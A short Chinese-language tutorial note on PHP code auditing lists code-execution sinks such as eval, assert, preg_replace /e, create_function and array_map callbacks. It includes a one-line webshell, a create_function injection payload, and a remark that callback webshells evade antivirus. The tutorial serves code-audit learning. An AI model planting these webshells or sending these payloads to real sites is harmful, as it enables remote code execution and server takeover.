注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关。
1.学思路
通读全文
危险函数定位
2.学函数
eval 多行执行
assert 单行执行,可以扩展到多行执行 assert(eval()) assert(file_put_content())
1.assert(eval(phpinfo();echo 1)) //代指可以多行执行的函数
2.file_put_contents() //写成一个php文件
'echo 1;phpinfo();echo2'
3.preg_replace() 正则替换 /e特殊修饰符 要去替换的执行
echo preg_replace('/a/e',$_REQUEST[8],'abc'); //单行执行 当前面在后面匹配到,则执行中间的
4.create_function() 匿名函数,偷懒用的,有一些函数临时用一用,开放名字都懒得写,而且为了精简代码,他们用了匿名函数 定义不执行,调用才执行
闭合跳出 ?8=}phpinfo();//
5.array_map('要调用的函数','要传入的值') //回调函数,调用某个函数,把数组塞到函数依次执行
一句话木马:array_map('assert',array($_REQUEST[8]));
回调函数可以作为免杀木马
重点 : eval不是函数,是php的特殊写法,所以回调函数不可以调用
6.双引号二次解析 "${phpinfo()}" 输出phpinfo() php的高版本才可以>5.6
<?php $a = 'b'; $b = 'c'; echo '$b' ?> 输出$b
<?php $a = 'b'; $b = 'c'; echo "$b" ?> 输出c
要往目标计算机中写入文件或者更改原有文件
安装网站的时候,填入的数据库账号密码会存在配及文件,网站都会有配置文件
unlink函数删除文件 unlink(filename,context)
删除文件的时候有一定的权限限制
权限划分:游客权限、用户权限、后台权限、服务器权限...
找漏洞:不能看代码,看功能,代码不会乱写,都是有需求而写
代码审计优先看同一文件